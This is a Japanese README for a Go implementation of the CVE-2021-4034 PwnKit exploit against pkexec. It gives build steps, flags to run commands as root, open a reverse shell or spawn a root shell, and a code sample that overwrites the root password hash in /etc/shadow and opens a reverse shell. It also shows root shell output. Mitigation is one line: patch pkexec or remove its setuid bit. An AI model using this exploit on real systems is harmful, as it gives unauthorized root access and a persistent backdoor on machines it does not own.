
CVE-2021-4034 PwnKit エクスプロイトの純Go実装です。
このエクスプロイトは syscall.ForkExec を使用して、メインプログラムの終了後も生存し続けます。
git clone https://github.com/OXDBXKXO/ez-pwnkit.git
cd ez-pwnkit
make
このエクスプロイトは悪意のある共有ライブラリに依存しているため、payload.go から PWN.so ファイルが生成され、結果として得られる exploit 実行ファイルに埋め込まれます。
Makefile は sed を使用して payload.go ファイルのパッケージ名を一時的に main に変更するため、この Makefile はLinux専用となります。
GoペイロードはCのものほど信頼性が高くないため、Makefile はデフォルトでCペイロードを使用してエクスプロイトをコンパイルします。Goペイロードでコンパイルする場合は make build_go を使用できます。
$> ./exploit -h
Usage of ./exploit:
-c string
Run command as root in separate process
-o Pipe output of forked command to terminal
-r string
Open a reverse-shell in separate process. Format: ip:port
-s Spawn a root shell
このエクスプロイトは、コマンド(-c)、リバースシェル(-r)、またはルートシェルの起動(-s)のいずれかで使用できます。
$> ./exploit -s
sh-5.1#
$> ./exploit -c "cat /etc/passwd"
$> ./exploit -o -c "cat /etc/passwd"
[/etc/passwd content]
package main
import (
"github.com/OXDBXKXO/ez-pwnkit"
)
func main() {
// Change root password to 'password'
ez_pwnkit.Command(`sed -i -e 's,^root:[^:]\+:,root:$6$eymNRCK.KxwDM6vu$idH0swGW1nsnLb8fT1QibUho5xg7uGJT7fuiheLZHIi9M4gTSk0qIOlUIk2Mm9/Nz5C.T4GkgkmLcK5BtOPkS0:,' etc/shadow`, false)
// Open a reverse-shell
ez_pwnkit.RevShell("127.0.0.1:1337")
}
Command と RevShell は syscall.ForkExec を使用してエクスプロイトを実行するため、結果として生成されるプロセスはメインプログラムから分離され、その終了後も生存し続けることに注意してください。
go-PwnKit はGithubからプロジェクトにインポートできますが、信頼できない共有ライブラリをrootとして実行することになることを忘れないでください。したがって、ローカルでコンパイルした PWN.so を使用することを強くお勧めします。ただの助言です 😚
$> ./exploit
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-5.1#
可能であれば pkexec にパッチを適用し、それ以外の場合は pkexec バイナリの setuid ビットを無効にしてください。
chmod 0755 /usr/bin/pkexec
このプロジェクトは、PwnKit エクスプロイトの他のいくつかのPoCに触発されています。
わかりやすいエクスプロイトのセットアップを提供してくれた An00bRektn に感謝します。
エクスプロイトの説明が明確だった PaterGottesman と berdav に感謝します。
GIO_USE_VFS のトリックを提供してくれた dzonerzy に感謝します。